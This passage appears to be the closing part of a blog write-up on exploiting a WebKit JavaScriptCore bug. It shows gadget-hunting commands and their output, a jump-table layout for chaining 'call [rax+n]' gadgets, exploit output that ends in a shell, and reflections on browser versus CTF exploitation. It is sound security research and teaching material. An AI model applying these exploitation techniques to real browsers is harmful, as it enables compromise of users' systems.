Reverse gadgets

By this point we are very familiar with the fact that WebKit is C++, and C++ famously makes heavy use of function indirection much to the despair of reverse engineers and glee of exploit writers. Normally in a ROP chain we find snippets of code and chain them together, using `ret` to transfer control flow between them but that won't work in this case. However, what if we could leverage C++'s indirection to get us the ability to execute gadgets. In our specific current case, we're taking control of PC on a `call [rax + 0x48]`, with a fully controlled `rax`. Instead of looking for gadgets that end in `ret`, what if we look for gadgets that end in `call [rax + n]` and stitch them together.

```
x@webkit:~$ objdump -M intel -d ~/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so \
    | grep 'call   QWORD PTR \[rax' \
    | wc -l
7214
```

7214 gadgets is not a bad playground to choose from. Obviously `objdump` is not the best disassembler for this as it won't find all instances (e.g. overlapping/misaligned instructions), but it should be good enough for our purposes. Let's combine this idea with `one_gadget` constraints. We need a series of gadgets that:

- Zero a register
- Write that register to `[rsp+0x28]` or `[rsp+0x58]`
- All of which end in a `call [rax+n]`, with each `n` being unique

Why `+0x28` or `+0x58` instead of `+0x30` or `+0x60` like `one_gadget`'s output? Because the the final call into `one_gadget` will push the next PC onto the stack, offsetting it by 8. With a little bit of grepping, this was surprisingly easy to find. We're going to search backwards, first, let's go for the stack write.

```
x@webkit:~$ objdump -M intel -d ~/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so \
    | grep -B1 'call   QWORD PTR \[rax' \
    | grep -A1 'mov    QWORD PTR \[rsp+0x28\]'
...
  5f6705:       4c 89 44 24 28          mov    QWORD PTR [rsp+0x28],r8
  5f670a:       ff 50 60                call   QWORD PTR [rax+0x60]
...
```

This find us four unique results, with the one we'll use being the only one listed. Cool, now we just need to find a gadget to zero `r8`...

```
x@webkit:~$ objdump -M intel -d ~/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so \
    | grep -B4 'call   QWORD PTR \[rax' \
    | grep -A4 'xor    r8'
…
  333503:       45 31 c0                xor    r8d,r8d
  333506:       4c 89 e2                mov    rdx,r12
  333509:       48 89 de                mov    rsi,rbx
  33350c:       ff 90 f8 00 00 00       call   QWORD PTR [rax+0xf8]
...
```

For this one, we need to broaden our search a bit, but still find what we need without too much trouble (and have our choice of five results, again with the one we'll use being the only one listed). Again, `objdump` and `grep` are not the best tool for this job, but if it's stupid and it works…

One takeaway from this section is that `libJavaScriptCore` is over 12mb of executable code, and this means your bigger problem is figuring what to look for as opposed to finding it. With that much code, you have an embarrassment of useful gadgets. In general, it made me curious as to the practical utility of fancy gadget finders on larger binaries (at least in case where the payloads don't need to be dynamically generated).

In any case, we now have all the pieces we need to trigger and land our exploit.

Putting it all together

To finish this guy off, we need to construct our pseudo jump table. We know we enter into our chain with a `call [rax+0x48]`, so that will be our first gadget, then we look at the offset of the call to determine the next one. This gives us a layout like this:

```
       +------------------+
rax -> |0xdeadbeefdeadbeef|
       +------------------+
       |       ...        |
       +------------------+
+0x48  |     zero r8      | <- first call, ends in call [rax+0xf8]
       +------------------+
       |       ...        |
       +------------------+
+0x60  |    one gadget    | <- third call, gets us our shell
       +------------------+
       |       ...        |
       +------------------+
+0xf8  |    write stack   | <- second call, ends in call [rax+0x60]
       +------------------+
```

We construct this array using normal JS, then just chase pointers from leaks we have until we find the array. In my implementation I just used a magic 8 byte constant which I searched for, effectively performing a big `memmem()` on the heap. Once it's all lined up, the dominoes fall and `one_gadget` gives us our shell :)

```
x@webkit:~/babys-first-webkit$ ./jsc zildjian.js
setting up ghetto_memcpy()...
done:
function () {
    [native code]
}

setting up read primitives...
done.

leaking string addr...
string @ 0x00007feac5b96814

leaking jsc base...
reading @ 0x00007feac5b96060
libjsc .data leak: 0x00007feaca218f28
libjsc .text @ 0x00007feac95e8000
libc @ 0x00007feac6496000
one gadget @ 0x00007feac64d7c22

leaking butterfly arena...
reading @ 0x00007feac5b95be8
buttefly arena leak: 0x00007fea8539eaa0

searching for butterfly in butterfly arena...
butterfly search base: 0x00007fea853a8000
found butterfly @ 0x00007fea853a85f8

replacing array search tag with one shot gadget...
setting up take_rip...
done:
function format() {
    [native code]
}
setting up call target: 0x00007fea853a85b0
getting a shell... enjoy :)
$ id
uid=1000(x) gid=1000(x) groups=1000(x),27(sudo)
```

The exploit is here: zildjian.js. Be warned that while it seems to be 100% deterministic, it is incredibly brittle and includes a bunch of offsets that are specific to my box. Instead of fixing the exploit to make it general purpose, I opted to provide all the info for you to do it yourself at home :)

If you have any questions, or if you have suggestions for better ways to do anything, be it exploit specifics or general approaches please (really) drop me a line on Twitter or IRC. As the length of this article might suggest, I'm happy to discuss this to death, and one of my hopes in writing this all down is that someone will see me doing something stupid and correct me.

Conclusion

With the exploit working, let's reflect on how this was different from common CTF problems. There are two difference which really stand out to me:

- The bug is more subtle than a typical CTF problem. This makes sense, as CTF problems are often meant to be understood within a ~48 hour period, and when you can have bigger/more complex systems you have more opportunity for mistakes like these.
- CTF problems tend to scale up difficulty by giving worse exploit primitives, rather than harder bugs to find. We've all seen contrived problems where you get execution control in an address space with next to nothing in it, and need to MacGyver your way out. While this can be a fun and useful exercise, I do wish there were good ways to include the other side of the coin.

Some final thoughts:

- This was significantly harder than I expected. I went in figuring I would have some fairly localized code, find a heap smash, relative write, or UaF and be off to the races. While that may be true for some browser bugs, in this case I needed a deeper understanding of browser internals. My suspicion is that this was not the easiest bug to begin browser exploitation with, but on the upside it was very… educational.
- Most of the work here was done over a ~3 month period in my free time. The initial setup and research to get a working infoleak took just over a month, then I burned over a month trying to find a way to get an arbitrary write out of `fastMalloc`. Once I switched to `Intl.NumberFormat` I landed the exploit quickly.
- I was surprised by how important object layouts were for exploitation, and how relatively poor the tooling was for finding and visualizing objects that could be instantiated and manipulated from the runtime.
- With larger codebases such as this one, when dealing with an unknown component or function call I had the most consistent success balancing an approach of guessing what I viewed as likely behavior and reading and understanding the code in depth. I found it was very easy to get wrapped up in guessing how something worked because I was being lazy and didn't want to read the code, or alternatively to end up reading and understanding huge amounts of code that ended up being irrelevant to my goals.

Most of these points boil down to "more code to understand makes it more work to exploit". Like most problems, once you understand the components the solution is fairly simple. With a larger codebase the most time by far was spent reading and playing with the code to understand it better.

I hope you've enjoyed this writeup, it would not have been possible without significant assistance from a bunch of people. Thanks to @natashenka for the bugs, @agustingianni for answering over a million questions, @5elo and @_niklasb for the Phrack article and entertaining my half-drunk questions during CanSec respectively, @0vercl0k who graciously listened to me rant about butterflies at least twenty times, @itszn13 who is definitely the the best RPISEC alumnus of all time, and @mongobug who provided helpful ideas and shamed me into finishing exploit and writeup.